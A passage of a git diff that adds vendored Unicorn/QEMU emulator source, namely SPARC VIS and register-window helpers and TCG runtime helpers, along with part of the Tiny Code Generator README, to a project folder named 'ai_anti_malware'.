56, 59) << 13) | + (GET_FIELD_SP(pixel_addr, 35, 38) << 9) | + (GET_FIELD_SP(pixel_addr, 13, 16) << 5) | + (((pixel_addr >> 55) & 1) << 4) | + (GET_FIELD_SP(pixel_addr, 33, 34) << 2) | + GET_FIELD_SP(pixel_addr, 11, 12); +} + +#ifdef HOST_WORDS_BIGENDIAN +#define VIS_B64(n) b[7 - (n)] +#define VIS_W64(n) w[3 - (n)] +#define VIS_SW64(n) sw[3 - (n)] +#define VIS_L64(n) l[1 - (n)] +#define VIS_B32(n) b[3 - (n)] +#define VIS_W32(n) w[1 - (n)] +#else +#define VIS_B64(n) b[n] +#define VIS_W64(n) w[n] +#define VIS_SW64(n) sw[n] +#define VIS_L64(n) l[n] +#define VIS_B32(n) b[n] +#define VIS_W32(n) w[n] +#endif + +typedef union { + uint8_t b[8]; + uint16_t w[4]; + int16_t sw[4]; + uint32_t l[2]; + uint64_t ll; + float64 d; +} VIS64; + +typedef union { + uint8_t b[4]; + uint16_t w[2]; + uint32_t l; + float32 f; +} VIS32; + +uint64_t helper_fpmerge(uint64_t src1, uint64_t src2) +{ + VIS64 s, d; + + s.ll = src1; + d.ll = src2; + + /* Reverse calculation order to handle overlap */ + d.VIS_B64(7) = s.VIS_B64(3); + d.VIS_B64(6) = d.VIS_B64(3); + d.VIS_B64(5) = s.VIS_B64(2); + d.VIS_B64(4) = d.VIS_B64(2); + d.VIS_B64(3) = s.VIS_B64(1); + d.VIS_B64(2) = d.VIS_B64(1); + d.VIS_B64(1) = s.VIS_B64(0); + /* d.VIS_B64(0) = d.VIS_B64(0); */ + + return d.ll; +} + +uint64_t helper_fmul8x16(uint64_t src1, uint64_t src2) +{ + VIS64 s, d; + uint32_t tmp; + + s.ll = src1; + d.ll = src2; + +#define PMUL(r) \ + tmp = (int32_t)d.VIS_SW64(r) * (int32_t)s.VIS_B64(r); \ + if ((tmp & 0xff) > 0x7f) { \ + tmp += 0x100; \ + } \ + d.VIS_W64(r) = tmp >> 8; + + PMUL(0); + PMUL(1); + PMUL(2); + PMUL(3); +#undef PMUL + + return d.ll; +} + +uint64_t helper_fmul8x16al(uint64_t src1, uint64_t src2) +{ + VIS64 s, d; + uint32_t tmp; + + s.ll = src1; + d.ll = src2; + +#define PMUL(r) \ + tmp = (int32_t)d.VIS_SW64(1) * (int32_t)s.VIS_B64(r); \ + if ((tmp & 0xff) > 0x7f) { \ + tmp += 0x100; \ + } \ + d.VIS_W64(r) = tmp >> 8; + + PMUL(0); + PMUL(1); + PMUL(2); + PMUL(3); +#undef PMUL + + return d.ll; +} + +uint64_t helper_fmul8x16au(uint64_t src1, uint64_t src2) +{ + VIS64 s, d; + uint32_t tmp; + + s.ll = src1; + d.ll = src2; + +#define PMUL(r) \ + tmp = (int32_t)d.VIS_SW64(0) * (int32_t)s.VIS_B64(r); \ + if ((tmp & 0xff) > 0x7f) { \ + tmp += 0x100; \ + } \ + d.VIS_W64(r) = tmp >> 8; + + PMUL(0); + PMUL(1); + PMUL(2); + PMUL(3); +#undef PMUL + + return d.ll; +} + +uint64_t helper_fmul8sux16(uint64_t src1, uint64_t src2) +{ + VIS64 s, d; + uint32_t tmp; + + s.ll = src1; + d.ll = src2; + +#define PMUL(r) \ + tmp = (int32_t)d.VIS_SW64(r) * ((int32_t)s.VIS_SW64(r) >> 8); \ + if ((tmp & 0xff) > 0x7f) { \ + tmp += 0x100; \ + } \ + d.VIS_W64(r) = tmp >> 8; + + PMUL(0); + PMUL(1); + PMUL(2); + PMUL(3); +#undef PMUL + + return d.ll; +} + +uint64_t helper_fmul8ulx16(uint64_t src1, uint64_t src2) +{ + VIS64 s, d; + uint32_t tmp; + + s.ll = src1; + d.ll = src2; + +#define PMUL(r) \ + tmp = (int32_t)d.VIS_SW64(r) * ((uint32_t)s.VIS_B64(r * 2)); \ + if ((tmp & 0xff) > 0x7f) { \ + tmp += 0x100; \ + } \ + d.VIS_W64(r) = tmp >> 8; + + PMUL(0); + PMUL(1); + PMUL(2); + PMUL(3); +#undef PMUL + + return d.ll; +} + +uint64_t helper_fmuld8sux16(uint64_t src1, uint64_t src2) +{ + VIS64 s, d; + uint32_t tmp; + + s.ll = src1; + d.ll = src2; + +#define PMUL(r) \ + tmp = (int32_t)d.VIS_SW64(r) * ((int32_t)s.VIS_SW64(r) >> 8); \ + if ((tmp & 0xff) > 0x7f) { \ + tmp += 0x100; \ + } \ + d.VIS_L64(r) = tmp; + + /* Reverse calculation order to handle overlap */ + PMUL(1); + PMUL(0); +#undef PMUL + + return d.ll; +} + +uint64_t helper_fmuld8ulx16(uint64_t src1, uint64_t src2) +{ + VIS64 s, d; + uint32_t tmp; + + s.ll = src1; + d.ll = src2; + +#define PMUL(r) \ + tmp = (int32_t)d.VIS_SW64(r) * ((uint32_t)s.VIS_B64(r * 2)); \ + if ((tmp & 0xff) > 0x7f) { \ + tmp += 0x100; \ + } \ + d.VIS_L64(r) = tmp; + + /* Reverse calculation order to handle overlap */ + PMUL(1); + PMUL(0); +#undef PMUL + + return d.ll; +} + +uint64_t helper_fexpand(uint64_t src1, uint64_t src2) +{ + VIS32 s; + VIS64 d; + + s.l = (uint32_t)src1; + d.ll = src2; + d.VIS_W64(0) = s.VIS_B32(0) << 4; + d.VIS_W64(1) = s.VIS_B32(1) << 4; + d.VIS_W64(2) = s.VIS_B32(2) << 4; + d.VIS_W64(3) = s.VIS_B32(3) << 4; + + return d.ll; +} + +#define VIS_HELPER(name, F) \ + uint64_t name##16(uint64_t src1, uint64_t src2) \ + { \ + VIS64 s, d; \ + \ + s.ll = src1; \ + d.ll = src2; \ + \ + d.VIS_W64(0) = F(d.VIS_W64(0), s.VIS_W64(0)); \ + d.VIS_W64(1) = F(d.VIS_W64(1), s.VIS_W64(1)); \ + d.VIS_W64(2) = F(d.VIS_W64(2), s.VIS_W64(2)); \ + d.VIS_W64(3) = F(d.VIS_W64(3), s.VIS_W64(3)); \ + \ + return d.ll; \ + } \ + \ + uint32_t name##16s(uint32_t src1, uint32_t src2) \ + { \ + VIS32 s, d; \ + \ + s.l = src1; \ + d.l = src2; \ + \ + d.VIS_W32(0) = F(d.VIS_W32(0), s.VIS_W32(0)); \ + d.VIS_W32(1) = F(d.VIS_W32(1), s.VIS_W32(1)); \ + \ + return d.l; \ + } \ + \ + uint64_t name##32(uint64_t src1, uint64_t src2) \ + { \ + VIS64 s, d; \ + \ + s.ll = src1; \ + d.ll = src2; \ + \ + d.VIS_L64(0) = F(d.VIS_L64(0), s.VIS_L64(0)); \ + d.VIS_L64(1) = F(d.VIS_L64(1), s.VIS_L64(1)); \ + \ + return d.ll; \ + } \ + \ + uint32_t name##32s(uint32_t src1, uint32_t src2) \ + { \ + VIS32 s, d; \ + \ + s.l = src1; \ + d.l = src2; \ + \ + d.l = F(d.l, s.l); \ + \ + return d.l; \ + } + +#define FADD(a, b) ((a) + (b)) +#define FSUB(a, b) ((a) - (b)) +VIS_HELPER(helper_fpadd, FADD) +VIS_HELPER(helper_fpsub, FSUB) + +#define VIS_CMPHELPER(name, F) \ + uint64_t name##16(uint64_t src1, uint64_t src2) \ + { \ + VIS64 s, d; \ + \ + s.ll = src1; \ + d.ll = src2; \ + \ + d.VIS_W64(0) = F(s.VIS_W64(0), d.VIS_W64(0)) ? 1 : 0; \ + d.VIS_W64(0) |= F(s.VIS_W64(1), d.VIS_W64(1)) ? 2 : 0; \ + d.VIS_W64(0) |= F(s.VIS_W64(2), d.VIS_W64(2)) ? 4 : 0; \ + d.VIS_W64(0) |= F(s.VIS_W64(3), d.VIS_W64(3)) ? 8 : 0; \ + d.VIS_W64(1) = d.VIS_W64(2) = d.VIS_W64(3) = 0; \ + \ + return d.ll; \ + } \ + \ + uint64_t name##32(uint64_t src1, uint64_t src2) \ + { \ + VIS64 s, d; \ + \ + s.ll = src1; \ + d.ll = src2; \ + \ + d.VIS_L64(0) = F(s.VIS_L64(0), d.VIS_L64(0)) ? 1 : 0; \ + d.VIS_L64(0) |= F(s.VIS_L64(1), d.VIS_L64(1)) ? 2 : 0; \ + d.VIS_L64(1) = 0; \ + \ + return d.ll; \ + } + +#define FCMPGT(a, b) ((a) > (b)) +#define FCMPEQ(a, b) ((a) == (b)) +#define FCMPLE(a, b) ((a) <= (b)) +#define FCMPNE(a, b) ((a) != (b)) + +VIS_CMPHELPER(helper_fcmpgt, FCMPGT) +VIS_CMPHELPER(helper_fcmpeq, FCMPEQ) +VIS_CMPHELPER(helper_fcmple, FCMPLE) +VIS_CMPHELPER(helper_fcmpne, FCMPNE) + +uint64_t helper_pdist(uint64_t sum, uint64_t src1, uint64_t src2) +{ + int i; + for (i = 0; i < 8; i++) { + int s1, s2; + + s1 = (src1 >> (56 - (i * 8))) & 0xff; + s2 = (src2 >> (56 - (i * 8))) & 0xff; + + /* Absolute value of difference. */ + s1 -= s2; + if (s1 < 0) { + s1 = -s1; + } + + sum += s1; + } + + return sum; +} + +uint32_t helper_fpack16(uint64_t gsr, uint64_t rs2) +{ + int scale = (gsr >> 3) & 0xf; + uint32_t ret = 0; + int byte; + + for (byte = 0; byte < 4; byte++) { + uint32_t val; + int16_t src = rs2 >> (byte * 16); + int32_t scaled = src << scale; + int32_t from_fixed = scaled >> 7; + + val = (from_fixed < 0 ? 0 : + from_fixed > 255 ? 255 : from_fixed); + + ret |= val << (8 * byte); + } + + return ret; +} + +uint64_t helper_fpack32(uint64_t gsr, uint64_t rs1, uint64_t rs2) +{ + int scale = (gsr >> 3) & 0x1f; + uint64_t ret = 0; + int word; + + ret = (rs1 << 8) & ~(0x000000ff000000ffULL); + for (word = 0; word < 2; word++) { + uint64_t val; + int32_t src = rs2 >> (word * 32); + int64_t scaled = (int64_t)src << scale; + int64_t from_fixed = scaled >> 23; + + val = (from_fixed < 0 ? 0 : + (from_fixed > 255) ? 255 : from_fixed); + + ret |= val << (32 * word); + } + + return ret; +} + +uint32_t helper_fpackfix(uint64_t gsr, uint64_t rs2) +{ + int scale = (gsr >> 3) & 0x1f; + uint32_t ret = 0; + int word; + + for (word = 0; word < 2; word++) { + uint32_t val; + int32_t src = rs2 >> (word * 32); + int64_t scaled = src << scale; + int64_t from_fixed = scaled >> 16; + + val = (from_fixed < -32768 ? -32768 : + from_fixed > 32767 ? 32767 : from_fixed); + + ret |= (val & 0xffff) << (word * 16); + } + + return ret; +} + +uint64_t helper_bshuffle(uint64_t gsr, uint64_t src1, uint64_t src2) +{ + union { + uint64_t ll[2]; + uint8_t b[16]; + } s; + VIS64 r; + uint32_t i, mask, host; + + /* Set up S such that we can index across all of the bytes. */ +#ifdef HOST_WORDS_BIGENDIAN + s.ll[0] = src1; + s.ll[1] = src2; + host = 0; +#else + s.ll[1] = src1; + s.ll[0] = src2; + host = 15; +#endif + mask = gsr >> 32; + + for (i = 0; i < 8; ++i) { + unsigned e = (mask >> (28 - i*4)) & 0xf; + r.VIS_B64(i) = s.b[e ^ host]; + } + + return r.ll; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/win_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/win_helper.c new file mode 100644 index 0000000..f077273 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/win_helper.c @@ -0,0 +1,392 @@ +/* + * Helpers for CWP and PSTATE handling + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" + +static inline void memcpy32(target_ulong *dst, const target_ulong *src) +{ + dst[0] = src[0]; + dst[1] = src[1]; + dst[2] = src[2]; + dst[3] = src[3]; + dst[4] = src[4]; + dst[5] = src[5]; + dst[6] = src[6]; + dst[7] = src[7]; +} + +void cpu_set_cwp(CPUSPARCState *env, int new_cwp) +{ + /* put the modified wrap registers at their proper location */ + if (env->cwp == env->nwindows - 1) { + memcpy32(env->regbase, env->regbase + env->nwindows * 16); + } + env->cwp = new_cwp; + + /* put the wrap registers at their temporary location */ + if (new_cwp == env->nwindows - 1) { + memcpy32(env->regbase + env->nwindows * 16, env->regbase); + } + env->regwptr = env->regbase + (new_cwp * 16); +} + +target_ulong cpu_get_psr(CPUSPARCState *env) +{ + helper_compute_psr(env); + +#if !defined(TARGET_SPARC64) + return env->version | (env->psr & PSR_ICC) | + (env->psref ? PSR_EF : 0) | + (env->psrpil << 8) | + (env->psrs ? PSR_S : 0) | + (env->psrps ? PSR_PS : 0) | + (env->psret ? PSR_ET : 0) | env->cwp; +#else + return env->psr & PSR_ICC; +#endif +} + +void cpu_put_psr(CPUSPARCState *env, target_ulong val) +{ + env->psr = val & PSR_ICC; +#if !defined(TARGET_SPARC64) + env->psref = (val & PSR_EF) ? 1 : 0; + env->psrpil = (val & PSR_PIL) >> 8; +#endif +#if ((!defined(TARGET_SPARC64)) && !defined(CONFIG_USER_ONLY)) + //cpu_check_irqs(env); +#endif +#if !defined(TARGET_SPARC64) + env->psrs = (val & PSR_S) ? 1 : 0; + env->psrps = (val & PSR_PS) ? 1 : 0; + env->psret = (val & PSR_ET) ? 1 : 0; + cpu_set_cwp(env, val & PSR_CWP); +#endif + env->cc_op = CC_OP_FLAGS; +} + +int cpu_cwp_inc(CPUSPARCState *env, int cwp) +{ + if (unlikely(cwp >= env->nwindows)) { + cwp -= env->nwindows; + } + return cwp; +} + +int cpu_cwp_dec(CPUSPARCState *env, int cwp) +{ + if (unlikely(cwp < 0)) { + cwp += env->nwindows; + } + return cwp; +} + +#ifndef TARGET_SPARC64 +void helper_rett(CPUSPARCState *env) +{ + unsigned int cwp; + + if (env->psret == 1) { + helper_raise_exception(env, TT_ILL_INSN); + } + + env->psret = 1; + cwp = cpu_cwp_inc(env, env->cwp + 1) ; + if (env->wim & (1 << cwp)) { + helper_raise_exception(env, TT_WIN_UNF); + } + cpu_set_cwp(env, cwp); + env->psrs = env->psrps; +} + +/* XXX: use another pointer for %iN registers to avoid slow wrapping + handling ? */ +void helper_save(CPUSPARCState *env) +{ + uint32_t cwp; + + cwp = cpu_cwp_dec(env, env->cwp - 1); + if (env->wim & (1 << cwp)) { + helper_raise_exception(env, TT_WIN_OVF); + } + cpu_set_cwp(env, cwp); +} + +void helper_restore(CPUSPARCState *env) +{ + uint32_t cwp; + + cwp = cpu_cwp_inc(env, env->cwp + 1); + if (env->wim & (1 << cwp)) { + helper_raise_exception(env, TT_WIN_UNF); + } + cpu_set_cwp(env, cwp); +} + +void helper_wrpsr(CPUSPARCState *env, target_ulong new_psr) +{ + if ((new_psr & PSR_CWP) >= env->nwindows) { + helper_raise_exception(env, TT_ILL_INSN); + } else { + cpu_put_psr(env, new_psr); + } +} + +target_ulong helper_rdpsr(CPUSPARCState *env) +{ + return cpu_get_psr(env); +} + +#else +/* XXX: use another pointer for %iN registers to avoid slow wrapping + handling ? */ +void helper_save(CPUSPARCState *env) +{ + uint32_t cwp; + + cwp = cpu_cwp_dec(env, env->cwp - 1); + if (env->cansave == 0) { + helper_raise_exception(env, TT_SPILL | (env->otherwin != 0 ? + (TT_WOTHER | + ((env->wstate & 0x38) >> 1)) : + ((env->wstate & 0x7) << 2))); + } else { + if (env->cleanwin - env->canrestore == 0) { + /* XXX Clean windows without trap */ + helper_raise_exception(env, TT_CLRWIN); + } else { + env->cansave--; + env->canrestore++; + cpu_set_cwp(env, cwp); + } + } +} + +void helper_restore(CPUSPARCState *env) +{ + uint32_t cwp; + + cwp = cpu_cwp_inc(env, env->cwp + 1); + if (env->canrestore == 0) { + helper_raise_exception(env, TT_FILL | (env->otherwin != 0 ? + (TT_WOTHER | + ((env->wstate & 0x38) >> 1)) : + ((env->wstate & 0x7) << 2))); + } else { + env->cansave++; + env->canrestore--; + cpu_set_cwp(env, cwp); + } +} + +void helper_flushw(CPUSPARCState *env) +{ + if (env->cansave != env->nwindows - 2) { + helper_raise_exception(env, TT_SPILL | (env->otherwin != 0 ? + (TT_WOTHER | + ((env->wstate & 0x38) >> 1)) : + ((env->wstate & 0x7) << 2))); + } +} + +void helper_saved(CPUSPARCState *env) +{ + env->cansave++; + if (env->otherwin == 0) { + env->canrestore--; + } else { + env->otherwin--; + } +} + +void helper_restored(CPUSPARCState *env) +{ + env->canrestore++; + if (env->cleanwin < env->nwindows - 1) { + env->cleanwin++; + } + if (env->otherwin == 0) { + env->cansave--; + } else { + env->otherwin--; + } +} + +target_ulong cpu_get_ccr(CPUSPARCState *env) +{ + target_ulong psr; + + psr = cpu_get_psr(env); + + return ((env->xcc >> 20) << 4) | ((psr & PSR_ICC) >> 20); +} + +void cpu_put_ccr(CPUSPARCState *env, target_ulong val) +{ + env->xcc = (val >> 4) << 20; + env->psr = (val & 0xf) << 20; + CC_OP = CC_OP_FLAGS; +} + +target_ulong cpu_get_cwp64(CPUSPARCState *env) +{ + return env->nwindows - 1 - env->cwp; +} + +void cpu_put_cwp64(CPUSPARCState *env, int cwp) +{ + if (unlikely(cwp >= env->nwindows || cwp < 0)) { + cwp %= env->nwindows; + } + cpu_set_cwp(env, env->nwindows - 1 - cwp); +} + +target_ulong helper_rdccr(CPUSPARCState *env) +{ + return cpu_get_ccr(env); +} + +void helper_wrccr(CPUSPARCState *env, target_ulong new_ccr) +{ + cpu_put_ccr(env, new_ccr); +} + +/* CWP handling is reversed in V9, but we still use the V8 register + order. */ +target_ulong helper_rdcwp(CPUSPARCState *env) +{ + return cpu_get_cwp64(env); +} + +void helper_wrcwp(CPUSPARCState *env, target_ulong new_cwp) +{ + cpu_put_cwp64(env, new_cwp); +} + +static inline uint64_t *get_gregset(CPUSPARCState *env, uint32_t pstate) +{ + switch (pstate) { + default: + //trace_win_helper_gregset_error(pstate); + /* pass through to normal set of global registers */ + case 0: + return env->bgregs; + case PS_AG: + return env->agregs; + case PS_MG: + return env->mgregs; + case PS_IG: + return env->igregs; + } +} + +void cpu_change_pstate(CPUSPARCState *env, uint32_t new_pstate) +{ + uint32_t pstate_regs, new_pstate_regs; + uint64_t *src, *dst; + + if (env->def->features & CPU_FEATURE_GL) { + /* PS_AG is not implemented in this case */ + new_pstate &= ~PS_AG; + } + + pstate_regs = env->pstate & 0xc01; + new_pstate_regs = new_pstate & 0xc01; + + if (new_pstate_regs != pstate_regs) { + //trace_win_helper_switch_pstate(pstate_regs, new_pstate_regs); + + /* Switch global register bank */ + src = get_gregset(env, new_pstate_regs); + dst = get_gregset(env, pstate_regs); + memcpy32(dst, env->gregs); + memcpy32(env->gregs, src); + } else { + //trace_win_helper_no_switch_pstate(new_pstate_regs); + } + env->pstate = new_pstate; +} + +void helper_wrpstate(CPUSPARCState *env, target_ulong new_state) +{ + cpu_change_pstate(env, new_state & 0xf3f); + +#if !defined(CONFIG_USER_ONLY) + if (cpu_interrupts_enabled(env)) { + // cpu_check_irqs(env); + } +#endif +} + +void helper_wrpil(CPUSPARCState *env, target_ulong new_pil) +{ +#if !defined(CONFIG_USER_ONLY) + //trace_win_helper_wrpil(env->psrpil, (uint32_t)new_pil); + + env->psrpil = new_pil; + + if (cpu_interrupts_enabled(env)) { + // cpu_check_irqs(env); + } +#endif +} + +void helper_done(CPUSPARCState *env) +{ + trap_state *tsptr = cpu_tsptr(env); + + env->pc = tsptr->tnpc; + env->npc = tsptr->tnpc + 4; + cpu_put_ccr(env, tsptr->tstate >> 32); + env->asi = (tsptr->tstate >> 24) & 0xff; + cpu_change_pstate(env, (tsptr->tstate >> 8) & 0xf3f); + cpu_put_cwp64(env, tsptr->tstate & 0xff); + env->tl--; + + //trace_win_helper_done(env->tl); + +#if !defined(CONFIG_USER_ONLY) + if (cpu_interrupts_enabled(env)) { + // cpu_check_irqs(env); + } +#endif +} + +void helper_retry(CPUSPARCState *env) +{ + trap_state *tsptr = cpu_tsptr(env); + + env->pc = tsptr->tpc; + env->npc = tsptr->tnpc; + cpu_put_ccr(env, tsptr->tstate >> 32); + env->asi = (tsptr->tstate >> 24) & 0xff; + cpu_change_pstate(env, (tsptr->tstate >> 8) & 0xf3f); + cpu_put_cwp64(env, tsptr->tstate & 0xff); + env->tl--; + + //trace_win_helper_retry(env->tl); + +#if !defined(CONFIG_USER_ONLY) + if (cpu_interrupts_enabled(env)) { + // cpu_check_irqs(env); + } +#endif +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg-runtime.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg-runtime.c new file mode 100644 index 0000000..21b022a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg-runtime.c @@ -0,0 +1,109 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#include "unicorn/platform.h" +#include "qemu/host-utils.h" + +/* This file is compiled once, and thus we can't include the standard + "exec/helper-proto.h", which has includes that are target specific. */ + +#include "exec/helper-head.h" + +#define DEF_HELPER_FLAGS_2(name, flags, ret, t1, t2) \ + dh_ctype(ret) HELPER(name) (dh_ctype(t1), dh_ctype(t2)); + +#include "tcg-runtime.h" + + +/* 32-bit helpers */ + +int32_t HELPER(div_i32)(int32_t arg1, int32_t arg2) +{ + return arg1 / arg2; +} + +int32_t HELPER(rem_i32)(int32_t arg1, int32_t arg2) +{ + return arg1 % arg2; +} + +uint32_t HELPER(divu_i32)(uint32_t arg1, uint32_t arg2) +{ + return arg1 / arg2; +} + +uint32_t HELPER(remu_i32)(uint32_t arg1, uint32_t arg2) +{ + return arg1 % arg2; +} + +/* 64-bit helpers */ + +uint64_t HELPER(shl_i64)(uint64_t arg1, uint64_t arg2) +{ + return arg1 << arg2; +} + +uint64_t HELPER(shr_i64)(uint64_t arg1, uint64_t arg2) +{ + return arg1 >> arg2; +} + +int64_t HELPER(sar_i64)(int64_t arg1, int64_t arg2) +{ + return arg1 >> arg2; +} + +int64_t HELPER(div_i64)(int64_t arg1, int64_t arg2) +{ + return arg1 / arg2; +} + +int64_t HELPER(rem_i64)(int64_t arg1, int64_t arg2) +{ + return arg1 % arg2; +} + +uint64_t HELPER(divu_i64)(uint64_t arg1, uint64_t arg2) +{ + return arg1 / arg2; +} + +uint64_t HELPER(remu_i64)(uint64_t arg1, uint64_t arg2) +{ + return arg1 % arg2; +} + +uint64_t HELPER(muluh_i64)(uint64_t arg1, uint64_t arg2) +{ + uint64_t l, h; + mulu64(&l, &h, arg1, arg2); + return h; +} + +int64_t HELPER(mulsh_i64)(int64_t arg1, int64_t arg2) +{ + uint64_t l, h; + muls64(&l, &h, arg1, arg2); + return h; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/LICENSE b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/LICENSE new file mode 100644 index 0000000..be817fa --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/LICENSE @@ -0,0 +1,3 @@ +All the files in this directory and subdirectories are released under +a BSD like license (see header in each file). No other license is +accepted. diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/README b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/README new file mode 100644 index 0000000..a550ff1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/README @@ -0,0 +1,551 @@ +Tiny Code Generator - Fabrice Bellard. + +1) Introduction + +TCG (Tiny Code Generator) began as a generic backend for a C +compiler. It was simplified to be used in QEMU. It also has its roots +in the QOP code generator written by Paul Brook. + +2) Definitions + +The TCG "target" is the architecture for which we generate the +code. It is of course not the same as the "target" of QEMU which is +the emulated architecture. As TCG started as a generic C backend used +for cross compiling, it is assumed that the TCG target is different +from the host, although it is never the case for QEMU. + +In this document, we use "guest" to specify what architecture we are +emulating; "target" always means the TCG target, the machine on which +we are running QEMU. + +A TCG "function" corresponds to a QEMU Translated Block (TB). + +A TCG "temporary" is a variable only live in a basic +block. Temporaries are allocated explicitly in each function. + +A TCG "local temporary" is a variable only live in a function. Local +temporaries are allocated explicitly in each function. + +A TCG "global" is a variable which is live in all the functions +(equivalent of a C global variable). They are defined before the +functions defined. A TCG global can be a memory location (e.g. a QEMU +CPU register), a fixed host register (e.g. the QEMU CPU state pointer) +or a memory location which is stored in a register outside QEMU TBs +(not implemented yet). + +A TCG "basic block" corresponds to a list of instructions terminated +by a branch instruction. + +An operation with "undefined behavior" may result in a crash. + +An operation with "unspecified behavior" shall not crash. However, +the result may be one of several possibilities so may be considered +an "undefined result". + +3) Intermediate representation + +3.1) Introduction + +TCG instructions operate on variables which are temporaries, local +temporaries or globals. TCG instructions and variables are strongly +typed. Two types are supported: 32 bit integers and 64 bit +integers. Pointers are defined as an alias to 32 bit or 64 bit +integers depending on the TCG target word size. + +Each instruction has a fixed number of output variable operands, input +variable operands and always constant operands. + +The notable exception is the call instruction which has a variable +number of outputs and inputs. + +In the textual form, output operands usually come first, followed by +input operands, followed by constant operands. The output type is +included in the instruction name. Constants are prefixed with a '$'. + +add_i32 t0, t1, t2 (t0 <- t1 + t2) + +3.2) Assumptions + +* Basic blocks + +- Basic blocks end after branches (e.g. brcond_i32 instruction), + goto_tb and exit_tb instructions. +- Basic blocks start after the end of a previous basic block, or at a + set_label instruction. + +After the end of a basic block, the content of temporaries is +destroyed, but local temporaries and globals are preserved. + +* Floating point types are not supported yet + +* Pointers: depending on the TCG target, pointer size is 32 bit or 64 + bit. The type TCG_TYPE_PTR is an alias to TCG_TYPE_I32 or + TCG_TYPE_I64. + +* Helpers: + +Using the tcg_gen_helper_x_y it is possible to call any function +taking i32, i64 or pointer types. By default, before calling a helper, +all globals are stored at their canonical location and it is assumed +that the function can modify them. By default, the helper is allowed to +modify the CPU state or raise an exception. + +This can be overridden using the following function modifiers: +- TCG_CALL_NO_READ_GLOBALS means that the helper does not read globals, + either directly or via an exception. They will not be saved to their + canonical locations before calling the helper. +- TCG_CALL_NO_WRITE_GLOBALS means that the helper does not modify any globals. + They will only be saved to their canonical location before calling helpers, + but they won't be reloaded afterwise. +- TCG_CALL_NO_SIDE_EFFECTS means that the call to the function is removed if + the return value is not used. + +Note that TCG_CALL_NO_READ_GLOBALS implies TCG_CALL_NO_WRITE_GLOBALS. + +On some TCG targets (e.g. x86), several calling conventions are +supported. + +* Branches: + +Use the instruction 'br' to jump to a label. + +3.3) Code Optimizations + +When generating instructions, you can count on at least the following +optimizations: + +- Single instructions are simplified, e.g. + + and_i32 t0, t0, $0xffffffff + + is suppressed. + +- A liveness analysis is done at the basic block level. The + information is used to suppress moves from a dead variable to + another one. It is also used to remove instructions which compute + dead results. The later is especially useful for condition code + optimization in QEMU. + + In the following example: + + add_i32 t0, t1, t2 + add_i32 t0, t0, $1 + mov_i32 t0, $1 + + only the last instruction is kept. + +3.4) Instruction Reference + +********* Function call + +* call ptr + +call function 'ptr' (pointer type) + + optional 32 bit or 64 bit return value + optional 32 bit or 64 bit parameters + +********* Jumps/Labels + +* set_label $label + +Define label 'label' at the current program point. + +* br $label + +Jump to label. + +* brcond_i32/i64 t0, t1, cond, label + +Conditional jump if t0 cond t1 is true. cond can be: + TCG_COND_EQ + TCG_COND_NE + TCG_COND_LT /* signed */ + TCG_COND_GE /* signed */ + TCG_COND_LE /* signed */ + TCG_COND_GT /* signed */ + TCG_COND_LTU /* unsigned */ + TCG_COND_GEU /* unsigned */ + TCG_COND_LEU /* unsigned */ + TCG_COND_GTU /* unsigned */ + +********* Arithmetic + +* add_i32/i64 t0, t1, t2 + +t0=t1+t2 + +* sub_i32/i64 t0, t1, t2 + +t0=t1-t2 + +* neg_i32/i64 t0, t1 + +t0=-t1 (two's complement) + +* mul_i32/i64 t0, t1, t2 + +t0=t1*t2 + +* div_i32/i64 t0, t1, t2 + +t0=t1/t2 (signed). Undefined behavior if division by zero or overflow. + +* divu_i32/i64 t0, t1, t2 + +t0=t1/t2 (unsigned). Undefined behavior if division by zero. + +* rem_i32/i64 t0, t1, t2 + +t0=t1%t2 (signed). Undefined behavior if division by zero or overflow. + +* remu_i32/i64 t0, t1, t2 + +t0=t1%t2 (unsigned). Undefined behavior if division by zero. + +********* Logical + +* and_i32/i64 t0, t1, t2 + +t0=t1&t2 + +* or_i32/i64 t0, t1, t2 + +t0=t1|t2 + +* xor_i32/i64 t0, t1, t2 + +t0=t1^t2 + +* not_i32/i64 t0, t1 + +t0=~t1 + +* andc_i32/i64 t0, t1, t2 + +t0=t1&~t2 + +* eqv_i32/i64 t0, t1, t2 + +t0=~(t1^t2), or 